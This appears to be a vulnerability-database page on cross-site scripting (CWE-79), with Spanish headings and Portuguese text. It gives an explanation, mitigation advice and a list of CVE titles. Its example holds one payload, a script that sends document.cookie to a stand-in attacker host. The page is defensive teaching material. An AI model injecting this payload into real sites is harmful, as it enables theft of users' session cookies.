Fallos del tipo CWE-79

29.596 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-8985MEDIUMSocial Proof (Testimonials) Slider <= 2.2.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via spslider-block ShortcodeEPSS 0.4%CVE-2024-1449MEDIUMMaster Slider – Responsive Touch Slider <= 3.9.10 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-11376MEDIUMs2Member – Excellent for All Kinds of Memberships, Content Restriction Paywalls & Member Access Subscriptions <= 241216 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-9616MEDIUMBlockMeister – Block Pattern Builder <= 3.1.10 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2025-8934MEDIUM1000 Projects Sales Management System sales.php cross site scriptingEPSS 0.4%CVE-2024-26467MEDIUMA DOM based cross-site scripting (XSS) vulnerability in the component generator.html of tabatkins/railroad-diagrams before commit ea9a123 alEPSS 0.4%CVE-2025-3669MEDIUMSupreme Addons for Beaver Builder <= 1.0.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via auto_qrcodesabb ShortcodeEPSS 0.4%CVE-2023-25018MEDIUMRifartek IOT Wall - Reflected XSSEPSS 0.4%CVE-2023-25154HIGHCross site scripting (XSS) of ActivityPub URI in misskeyEPSS 0.4%CVE-2024-4209MEDIUMGutenberg Blocks by Kadence Blocks – Page Builder Features <= 3.2.36 - Authenticated (Contributor+) Stored Cross-Site Scripting via Countdown TimerEPSS 0.4%CVE-2023-22902MEDIUMOpenfind Mail2000 - XSSEPSS 0.4%CVE-2024-3680MEDIUMEnter Addons – Ultimate Template Builder for Elementor <= 2.1.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Animation Title widget img tagEPSS 0.4%CVE-2025-49898HIGHWordPress Dropshix plugin <= 4.0.14 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-8968MEDIUMMaxButtons < 9.8.1 - Admin+ Stored XSS via Text ColorEPSS 0.4%CVE-2024-27626MEDIUMA Reflected Cross-Site Scripting (XSS) vulnerability has been identified in Dotclear version 2.29. The flaw exists within the Search functioEPSS 0.4%CVE-2025-7959MEDIUMStation Pro <= 2.4.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via width and height ParametersEPSS 0.4%CVE-2025-8933MEDIUM1000 Projects Sales Management System sales.php cross site scriptingEPSS 0.4%CVE-2024-4487MEDIUMBlocksy Companion <= 2.0.45 - Authenticated (Contributor+) Stored Cross-Site Scripting via SVG UploadsEPSS 0.4%CVE-2025-46837HIGHAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-3161MEDIUMJeg Elementor Kit <= 2.6.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Countdown WidgetEPSS 0.4%